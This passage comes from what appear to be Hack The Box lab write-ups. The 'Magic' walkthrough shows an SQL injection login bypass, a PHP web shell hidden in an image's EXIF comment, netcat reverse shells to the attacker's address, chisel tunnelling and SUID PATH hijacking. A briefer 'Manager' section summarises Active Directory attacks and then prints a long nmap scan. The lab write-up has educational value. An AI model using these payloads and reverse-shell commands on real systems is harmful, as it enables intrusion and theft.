| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
|   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Port 80/HTTP

let’s visit port 80 http on web browser

click on login and we are redirected to login.php

when we enters wrong credentials we get pop-up that says, “Wrong Username or password”

i tried to test SQLi by entering the admin' and no pop-up just redirected back to login page, this looks interesting to me, i searched for SQLi Authentication bypass payloads

https://gist.github.com/spenkk/2cd2f7eeb9cac92dd550855e522c558f

this works - admin' or '1'='1'#

and boom we got access to upload area

then i uploaded legit test.png file

gobuster dir -u 10.10.10.185/images -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

another way is to find the correct directory in website’s home page right click on image and copy-Link

so we found the upload location now we need to upload the php shell to get Command execution on machine

i tried to upload php file and off course it failed

let’s fire-up our burpsuite and try to bypass the file upload restrictions, first we need to check what it is checking for extensions, MIME types

also as the name of machine suggest i tried changing magic bytes as well, let’s try to upload legitimate png file edit it and add the PHP payload, also let’s and rename it like 0xh3x.php.png as the magic bytes set legitimately it will work for us

i’ll use the exiftool to inject comment

exiftool -comment='<?php system($_GET["cmd"]); ?>' test.png

mv test.png 0xh3x.php.png

and then try to upload the file

let’s open image - http://10.10.10.185/images/uploads/0xh3x.php.png?cmd=id

use below reverse shell payload

busybox nc 10.10.14.12 443 -e /bin/bash

we got a reverse shell connection on port 443

after gaining initial access, we started enumerating the system and found the user theseus

and found database credentials in /var/www/magic/db.php5

i tried this password for theseus user, but no success, let’s connect to mysql database and then find any creds from there, sadly mysql is not installed on the target so i’ve used chisel to forward mysql port to our machine and then access it over 127.0.0.1

On Kali

chisel server --reverse --port 5000

On Target machine

./chisel_1.10.1_linux_amd64 client 10.10.14.12:5000 R:3306:127.0.0.1:3306

now check the server console and we got connection

now we can access the mysql on our localhost

mysql -h 127.0.0.1 -u theseus -piamkingtheseus

to list databases, use - show databases

to use Magic Databse, use Magic;

to display all the table → show tables;

let’s get data from it, using select command

select * from login;

let’s use this password to su as theseus

grab user.txt from /home/theseus/user.txt

running linpeas i found SUID binary

if we look at it the users group has executable permissions on it

if we run strings on the /bin/sysinfo we found that it is running some basic commands, but the thing here is it is not passing full path to binary, let’s create free file with malicious code

it is basic code that set SUID for /bin/bash

#!/bin/bash
busybox nc 10.10.14.12 9001 -e /bin/bash

save it as free, make it executable via - chmod 777 free

add the /tmp in the PATH variable - export PATH=tmp/:$PATH, and then run /bin/systeminfo again and we’ll get reverse shell on port 9001

Manager

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Manager
OS Type: Windows
Difficulty: Medium

Summary:

we found that SMB allows null-session after that we enumerated user’s via RID Cycling with netexec with -u anonymous -p ''
then i tried password spraying, and found operator:operator, tried that login to MSSQL and then ran xp_dirtree and found website backup zip file in website’s directory C:\inetpub\wwwroot\
found Revan user’s credential inside .old-conf.xml, evil-winrm as revan and got user.txt
running certipy-ad and found ADCS ESC7 vulnerability, follow https://www.hackingarticles.in/adcs-esc7-vulnerable-certificate-authority-access-control/ article to gain Administrator NTLM hash, and then evil-winrm as administrator to get root.txt

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Mon Jul  7 19:15:26 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.236
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
Nmap scan report for 10.10.11.236
Host is up, received echo-reply ttl 127 (0.22s latency).
Scanned at 2025-07-07 19:15:32 IST for 584s
Not shown: 65512 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Manager
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-07 20:53:40Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Issuer: commonName=manager-DC01-CA/domainComponent=manager
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-30T17:08:51
| Not valid after:  2122-07-27T10:31:04
| MD5:   bc56:af22:5a3d:db67:c9bb:a439:4232:14d1
| SHA-1: 2b6d:98b3:d379:df64:59f6:c665:d4b7:53b0:faf6:e07a
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITXwAAABHDlIAulPWHxgAAAAAAETANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbWFuYWdl
| cjEYMBYGA1UEAxMPbWFuYWdlci1EQzAxLUNBMCAXDTI0MDgzMDE3MDg1MVoYDzIx
| MjIwNzI3MTAzMTA0WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| 7Pt5jAgDiLnlXbCaEu5YkYU9UB5O36TnSqkMDx5/iXnxVmyynxCezA20S5wkZ+1R
| Zq4GN/KQ8IOZObRZ6uFc34KhOajObR12O4m7dxZLKLQwyv4ET21zlbHuwzcseMeP
| t8vm0eabezOlR0GW3yMSEElmg3Rtivd5a+k6yIfA1z0/9xIaQl61yYexwAS53+Iz
| 8IaPXPWkHr9ELxAdSMYJELiV8eG43KOQ28rqBNecz5eHYnvy0AKS1Kt7IODOHKwH
| FYfIrKcl3YIDE+IqSCv+gdKprfvfgspFrJgbDYEhDP93kHF06bbnttBKvCpu+FAC
| rg2AIyymVheJx8lJzgMeeQIDAQABo4IC7zCCAuswNQYJKwYBBAGCNxUHBCgwJgYe
| KwYBBAGCNxUIhunUf4LfwleDsYkm1dV5+6weIwEcAgFuAgECMCkGA1UdJQQiMCAG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAjAOBgNVHQ8BAf8EBAMCBaAw
| NQYJKwYBBAGCNxUKBCgwJjAKBggrBgEFBQcDAjAKBggrBgEFBQcDATAMBgorBgEE
| AYI3FAICMB0GA1UdDgQWBBTwZlQbixROyHC6vosxL0ZqZFx0EzAfBgNVHSMEGDAW
| gBQ6y/QuzYnIJDZmjzlYBg4ivzAOTDCBygYDVR0fBIHCMIG/MIG8oIG5oIG2hoGz
| bGRhcDovLy9DTj1tYW5hZ2VyLURDMDEtQ0EsQ049ZGMwMSxDTj1DRFAsQ049UHVi
| bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
| bixEQz1tYW5hZ2VyLERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jh
| c2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcEGCCsGAQUFBwEB
| BIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6Ly8vQ049bWFuYWdlci1EQzAxLUNB
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPW1hbmFnZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/
| YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MB4GA1UdEQEB
| /wQUMBKCEGRjMDEubWFuYWdlci5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwNzgzODIyMzctMTQ5MjE4MjgxNy0yNTY4MTI3
| MjA5LTEwMDAwDQYJKoZIhvcNAQELBQADggEBABAdOIMcqsDOfZ/0R2p50BzXyavO
| MsA1XBGc31NOKaIg96/JxW/YQWyUSvqAcLWSegqXszFyngao6pqH5Biql9jZhD2X
| 8aaJzmiVZO2TtST49augfum5hQYiCIo/jAhKC6vnNl+pAjRZYEfv+PZqjsfDVBwC
| XRQJEpiIAmd05b/zrhz7VSceGWGAWvJievynjx0JCpe+61/s8w2hALvcdPcTRtCU
| oVfFTxa3zxBRmnqt2l/qAdUP0QlNJ12A0extUg1L7FIpH0uBdqhXGjqzPD5jLCG4
| CIuC4DNai+8mVyQYa6KHjod9QOGOUSeDVdeshf5le28sddSPiZhmvNRZF1E=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-07T20:55:18+00:00; +7h00m04s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-07T20:55:18+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Issuer: commonName=manager-DC01-CA/domainComponent=manager
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-30T17:08:51
| Not valid after:  2122-07-27T10:31:04
| MD5:   bc56:af22:5a3d:db67:c9bb:a439:4232:14d1
| SHA-1: 2b6d:98b3:d379:df64:59f6:c665:d4b7:53b0:faf6:e07a
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITXwAAABHDlIAulPWHxgAAAAAAETANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbWFuYWdl
| cjEYMBYGA1UEAxMPbWFuYWdlci1EQzAxLUNBMCAXDTI0MDgzMDE3MDg1MVoYDzIx
| MjIwNzI3MTAzMTA0WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| 7Pt5jAgDiLnlXbCaEu5YkYU9UB5O36TnSqkMDx5/iXnxVmyynxCezA20S5wkZ+1R
| Zq4GN/KQ8IOZObRZ6uFc34KhOajObR12O4m7dxZLKLQwyv4ET21zlbHuwzcseMeP
| t8vm0eabezOlR0GW3yMSEElmg3Rtivd5a+k6yIfA1z0/9xIaQl61yYexwAS53+Iz
| 8IaPXPWkHr9ELxAdSMYJELiV8eG43KOQ28rqBNecz5eHYnvy0AKS1Kt7IODOHKwH
| FYfIrKcl3YIDE+IqSCv+gdKprfvfgspFrJgbDYEhDP93kHF06bbnttBKvCpu+FAC
| rg2AIyymVheJx8lJzgMeeQIDAQABo4IC7zCCAuswNQYJKwYBBAGCNxUHBCgwJgYe
| KwYBBAGCNxUIhunUf4LfwleDsYkm1dV5+6weIwEcAgFuAgECMCkGA1UdJQQiMCAG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAjAOBgNVHQ8BAf8EBAMCBaAw
| NQYJKwYBBAGCNxUKBCgwJjAKBggrBgEFBQcDAjAKBggrBgEFBQcDATAMBgorBgEE
| AYI3FAICMB0GA1UdDgQWBBTwZlQbixROyHC6vosxL0ZqZFx0EzAfBgNVHSMEGDAW
| gBQ6y/QuzYnIJDZmjzlYBg4ivzAOTDCBygYDVR0fBIHCMIG/MIG8oIG5oIG2hoGz
| bGRhcDovLy9DTj1tYW5hZ2VyLURDMDEtQ0EsQ049ZGMwMSxDTj1DRFAsQ049UHVi
| bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
| bixEQz1tYW5hZ2VyLERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jh
| c2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcEGCCsGAQUFBwEB
| BIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6Ly8vQ049bWFuYWdlci1EQzAxLUNB
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPW1hbmFnZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/
| YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MB4GA1UdEQEB
| /wQUMBKCEGRjMDEubWFuYWdlci5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwNzgzODIyMzctMTQ5MjE4MjgxNy0yNTY4MTI3
| MjA5LTEwMDAwDQYJKoZIhvcNAQELBQADggEBABAdOIMcqsDOfZ/0R2p50BzXyavO
| MsA1XBGc31NOKaIg96/JxW/YQWyUSvqAcLWSegqXszFyngao6pqH5Biql9jZhD2X
| 8aaJzmiVZO2TtST49augfum5hQYiCIo/jAhKC6vnNl+pAjRZYEfv+PZqjsfDVBwC
| XRQJEpiIAmd05b/zrhz7VSceGWGAWvJievynjx0JCpe+61/s8w2hALvcdPcTRtCU
| oVfFTxa3zxBRmnqt2l/qAdUP0QlNJ12A0extUg1L7FIpH0uBdqhXGjqzPD5jLCG4
| CIuC4DNai+8mVyQYa6KHjod9QOGOUSeDVdeshf5le28sddSPiZhmvNRZF1E=
|_-----END CERTIFICATE-----
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-07-07T20:55:18+00:00; +7h00m04s from scanner time.
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-07T20:42:31
| Not valid after:  2055-07-07T20:42:31
| MD5:   b56c:6534:1d9d:a3c4:b3c6:a626:6c3e:02cb
| SHA-1: ce02:933d:356a:179f:3c77:76b3:5af8:9e93:f862:5fb3
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQfwedkTSG5K5KP7ZojoZBqDANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwNzA3MjA0MjMxWhgPMjA1NTA3MDcyMDQyMzFaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVu/Z/h
| +KH53Dl0xplzNdJn/3/++QqXyYQ3rE9KFzCbV7HSkMCZm1LeQw7ZjqBGq++yE1G5
| wDPC2pB0OkeeWhfmucgHaE79h2sz7NlvFsivpjQ2dvR0x8t9xcigqM/SmQa7Fivz
| piZnJ/H6D5VtSFPQk7P+M4bS+dOMPIGv6ofGi+qjX7Vpqk/MHeLEMDXbwq+Ke29/
| nTZJLy29felXIsyBRaTnnyOHSGpm1l08fZsdzkNRUtOJnTXrDbkmISGRL+IUGMz8
| g24oj4wAtTwJQDd5UDpOEQB35jJDFE+ITX66UlxOSPHOHd/qhX8Feos+NQ6YqOXW
| yT7dMKVJC1j2nQkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAWuUP08NfnVXxRcjZ
| hAzzGplOJJiCC2lHZws2VGpcu16LNAl3IXhUDbmSpnUd1Hr5aA/03/V006gvGtSv
| X6lvXfXo+KJqGWsT+EB9fmzsRPZUd2BSPR+VxHl0nXKG3JcFYYgfFXVBB09+juRm
| wxLMJIkcgJ7EdL/rh0PRW8aoHGVFj84GM6Gsat3wFTBp7myCnj7Yc3vVlweQqO3z
| 9rfvk/t4MCUeKZJWSXIEfa+BlGtWbPTJNhl2YYTds+vhVlBtEkMnLXHmw+VoVrJL
| 4nVWtlXUnhMXXRjgLB9Q0pqefpm/h4OrqtsnFKx5zsmiOyppe5E3MamvWWnO4JNc
| SIiy/A==
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Issuer: commonName=manager-DC01-CA/domainComponent=manager
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-30T17:08:51
| Not valid after:  2122-07-27T10:31:04
| MD5:   bc56:af22:5a3d:db67:c9bb:a439:4232:14d1
| SHA-1: 2b6d:98b3:d379:df64:59f6:c665:d4b7:53b0:faf6:e07a
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITXwAAABHDlIAulPWHxgAAAAAAETANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbWFuYWdl
| cjEYMBYGA1UEAxMPbWFuYWdlci1EQzAxLUNBMCAXDTI0MDgzMDE3MDg1MVoYDzIx
| MjIwNzI3MTAzMTA0WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| 7Pt5jAgDiLnlXbCaEu5YkYU9UB5O36TnSqkMDx5/iXnxVmyynxCezA20S5wkZ+1R
| Zq4GN/KQ8IOZObRZ6uFc34KhOajObR12O4m7dxZLKLQwyv4ET21zlbHuwzcseMeP
| t8vm0eabezOlR0GW3yMSEElmg3Rtivd5a+k6yIfA1z0/9xIaQl61yYexwAS53+Iz
| 8IaPXPWkHr9ELxAdSMYJELiV8eG43KOQ28rqBNecz5eHYnvy0AKS1Kt7IODOHKwH
| FYfIrKcl3YIDE+IqSCv+gdKprfvfgspFrJgbDYEhDP93kHF06bbnttBKvCpu+FAC
| rg2AIyymVheJx8lJzgMeeQIDAQABo4IC7zCCAuswNQYJKwYBBAGCNxUHBCgwJgYe
| KwYBBAGCNxUIhunUf4LfwleDsYkm1dV5+6weIwEcAgFuAgECMCkGA1UdJQQiMCAG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAjAOBgNVHQ8BAf8EBAMCBaAw
| NQYJKwYBBAGCNxUKBCgwJjAKBggrBgEFBQcDAjAKBggrBgEFBQcDATAMBgorBgEE
| AYI3FAICMB0GA1UdDgQWBBTwZlQbixROyHC6vosxL0ZqZFx0EzAfBgNVHSMEGDAW
| gBQ6y/QuzYnIJDZmjzlYBg4ivzAOTDCBygYDVR0fBIHCMIG/MIG8oIG5oIG2hoGz
| bGRhcDovLy9DTj1tYW5hZ2VyLURDMDEtQ0EsQ049ZGMwMSxDTj1DRFAsQ049UHVi
| bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
| bixEQz1tYW5hZ2VyLERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jh
| c2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcEGCCsGAQUFBwEB
| BIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6Ly8vQ049bWFuYWdlci1EQzAxLUNB
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPW1hbmFnZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/
| YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MB4GA1UdEQEB
| /wQUMBKCEGRjMDEubWFuYWdlci5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwNzgzODIyMzctMTQ5MjE4MjgxNy0yNTY4MTI3
| MjA5LTEwMDAwDQYJKoZIhvcNAQELBQADggEBABAdOIMcqsDOfZ/0R2p50BzXyavO
| MsA1XBGc31NOKaIg96/JxW/YQWyUSvqAcLWSegqXszFyngao6pqH5Biql9jZhD2X
| 8aaJzmiVZO2TtST49augfum5hQYiCIo/jAhKC6vnNl+pAjRZYEfv+PZqjsfDVBwC
| XRQJEpiIAmd05b/zrhz7VSceGWGAWvJievynjx0JCpe+61/s8w2hALvcdPcTRtCU
| oVfFTxa3zxBRmnqt2l/qAdUP0QlNJ12A0extUg1L7FIpH0uBdqhXGjqzPD5jLCG4
| CIuC4DNai+8mVyQYa6KHjod9QOGOUSeDVdeshf5le28sddSPiZhmvNRZF1E=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-07T20:55:18+00:00; +7h00m04s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-07T20:55:18+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Issuer: commonName=manager-DC01-CA/domainComponent=manager
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-30T17:08:51
| Not valid after:  2122-07-27T10:31:04
| MD5:   bc56:af22:5a3d:db67:c9bb:a439:4232:14d1
| SHA-1: 2b6d:98b3:d379:df64:59f6:c665:d4b7:53b0:faf6:e07a
| -----BEGIN CERTIFICATE-----
| MIIFyDCCBLCgAwIBAgITXwAAABHDlIAulPWHxgAAAAAAETANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbWFuYWdl
| cjEYMBYGA1UEAxMPbWFuYWdlci1EQzAxLUNBMCAXDTI0MDgzMDE3MDg1MVoYDzIx
| MjIwNzI3MTAzMTA0WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| 7Pt5jAgDiLnlXbCaEu5YkYU9UB5O36TnSqkMDx5/iXnxVmyynxCezA20S5wkZ+1R
| Zq4GN/KQ8IOZObRZ6uFc34KhOajObR12O4m7dxZLKLQwyv4ET21zlbHuwzcseMeP
| t8vm0eabezOlR0GW3yMSEElmg3Rtivd5a+k6yIfA1z0/9xIaQl61yYexwAS53+Iz
| 8IaPXPWkHr9ELxAdSMYJELiV8eG43KOQ28rqBNecz5eHYnvy0AKS1Kt7IODOHKwH
| FYfIrKcl3YIDE+IqSCv+gdKprfvfgspFrJgbDYEhDP93kHF06bbnttBKvCpu+FAC
| rg2AIyymVheJx8lJzgMeeQIDAQABo4IC7zCCAuswNQYJKwYBBAGCNxUHBCgwJgYe
| KwYBBAGCNxUIhunUf4LfwleDsYkm1dV5+6weIwEcAgFuAgECMCkGA1UdJQQiMCAG
| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAjAOBgNVHQ8BAf8EBAMCBaAw
| NQYJKwYBBAGCNxUKBCgwJjAKBggrBgEFBQcDAjAKBggrBgEFBQcDATAMBgorBgEE
| AYI3FAICMB0GA1UdDgQWBBTwZlQbixROyHC6vosxL0ZqZFx0EzAfBgNVHSMEGDAW
| gBQ6y/QuzYnIJDZmjzlYBg4ivzAOTDCBygYDVR0fBIHCMIG/MIG8oIG5oIG2hoGz
| bGRhcDovLy9DTj1tYW5hZ2VyLURDMDEtQ0EsQ049ZGMwMSxDTj1DRFAsQ049UHVi
| bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
| bixEQz1tYW5hZ2VyLERDPWh0Yj9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jh
| c2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgcEGCCsGAQUFBwEB
| BIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6Ly8vQ049bWFuYWdlci1EQzAxLUNB
| LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPW1hbmFnZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/
| YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MB4GA1UdEQEB
| /wQUMBKCEGRjMDEubWFuYWdlci5odGIwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwNzgzODIyMzctMTQ5MjE4MjgxNy0yNTY4MTI3
| MjA5LTEwMDAwDQYJKoZIhvcNAQELBQADggEBABAdOIMcqsDOfZ/0R2p50BzXyavO
| MsA1XBGc31NOKaIg96/JxW/YQWyUSvqAcLWSegqXszFyngao6pqH5Biql9jZhD2X
| 8aaJzmiVZO2TtST49augfum5hQYiCIo/jAhKC6vnNl+pAjRZYEfv+PZqjsfDVBwC
| XRQJEpiIAmd05b/zrhz7VSceGWGAWvJievynjx0JCpe+61/s8w2hALvcdPcTRtCU
| oVfFTxa3zxBRmnqt2l/qAdUP0QlNJ12A0extUg1L7FIpH0uBdqhXGjqzPD5jLCG4
| CIuC4DNai+8mVyQYa6KHjod9QOGOUSeDVdeshf5le28sddSPiZhmvNRZF1E=
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49686/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49720/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49761/tcp open  tcpwrapped    syn-ack ttl 127
49785/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49853/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-07T20:54:42
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 4401/tcp): CLEAN (Timeout)
|   Check 2 (port 49697/tcp): CLEAN (Timeout)
|   Check 3 (port 12164/udp): CLEAN (Timeout)
|   Check 4 (port 50535/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m03s

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
